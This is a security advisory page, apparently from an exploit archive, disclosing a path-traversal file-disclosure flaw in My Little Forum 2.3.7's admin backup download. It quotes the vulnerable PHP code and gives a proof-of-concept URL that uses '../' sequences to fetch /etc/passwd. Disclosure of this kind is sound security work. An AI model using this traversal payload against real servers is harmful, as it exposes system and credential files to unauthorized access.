exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

My Little Forum 2.3.7 File Disclosure

My Little Forum 2.3.7 File Disclosure
Posted Nov 1, 2016
Authored by Ashiyane Digital Security Team

My Little Forum version 2.3.7 suffers from a file disclosure vulnerability.

tags | exploit, info disclosure
SHA-256 | c18a6203a9e4bb5eeebc96801127f2d75d2c82759b99576601ec24b90ef855dd

My Little Forum 2.3.7 File Disclosure

Change Mirror Download
Title:
======
My Little Forum 2.3.7 - Source Code Disclosure


Product & Service Introduction:
===============================
My little forum is a simple PHP and MySQL based internet forum that displays the messages in classical threaded view (tree structure). It is Open Source licensed under the GNU General Public License. The main claim of this web forum is simplicity. Furthermore it should be easy to install and run on a standard server configuration with PHP and MySQL.


Software Link:
==============
https://github.com/ilosuna/mylittleforum/archive/master.zip


Vulnerability Type:
=========================
Source Code Disclosure


Vulnerability Details:
==============================
No input validation check is done on download backup file page inputs.
Therefore,We can entering whatever and download files.


Severity Level:
===============
High


Proof of Concept (PoC):
=======================
for use this vulnerability you need to access admin , this vulnerability is in backup part.
vulnerable parameter is download_backup_file and we can enter every file want to download for this parameter.
Download Passwd file : http://localhost/mylittleforum-master/index.php?mode=admin&download_backup_file=../../../../../etc/passwd


Vulnerable Code :
==================
File :"admin.inc.php"

if(isset($_GET['download_backup_file']))
{
$file = 'backup/'.$_GET['download_backup_file'];
if(check_filename($_GET['download_backup_file']) && file_exists($file))
{
$len = filesize($file);
$fh = @fopen($file,"r");
if(!$fh) return false;
$data = fread($fh, $len);
fclose($fh);
header("Content-Type: text/plain; charset=".$lang['charset']);
header("Content-Disposition: attachment; filename=".$_GET['download_backup_file']);
header("Accept-Ranges: bytes");
header("Content-Length: ".$len);
echo $data;
exit;
}
else
{
$errors[] = 'error_file_doesnt_exist';
$smarty->assign('errors',$errors);
$action = 'backup';
}
}

Author:
==================
Ashiyane Digital Security Team

Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    16 Files
  • 10
    Sep 10th
    38 Files
  • 11
    Sep 11th
    21 Files
  • 12
    Sep 12th
    40 Files
  • 13
    Sep 13th
    18 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    21 Files
  • 17
    Sep 17th
    51 Files
  • 18
    Sep 18th
    23 Files
  • 19
    Sep 19th
    48 Files
  • 20
    Sep 20th
    36 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    38 Files
  • 24
    Sep 24th
    65 Files
  • 25
    Sep 25th
    24 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close